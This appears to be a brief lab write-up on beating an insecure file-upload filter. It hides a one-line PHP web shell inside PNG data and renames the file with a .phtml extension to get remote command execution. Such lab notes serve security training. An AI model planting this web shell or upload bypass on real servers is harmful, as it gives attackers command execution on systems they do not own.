# Insecure file upload 0x03

The filter actually working in server side and it finds that .php extensions are not allowed

But it reality it is just checking the format data of the file

So that we can just insert our PHP payload in the PNG data like the details below

File name from tcm-logo.png to cmd4.phtml

Then file extensions like php5,php4,php3,php2,php1  is not working since it does not executes image type which in our data section

We just have to change the php extension to phtml since it is also valid

```
<?php system($_GET['cmd']); ?>
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FnHHX7AeB9NARBRGsDLed%2Fimage.png?alt=media&#x26;token=559b3b62-f5dc-4d4a-b9e0-729ef999d6b8" alt=""><figcaption></figcaption></figure>

Now we can execute command injection

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FF7cqKfPfpdahisCQeuAZ%2Fimage.png?alt=media&#x26;token=9a8e0790-54b1-45de-a568-d0e5d8d5de8a" alt=""><figcaption></figcaption></figure>
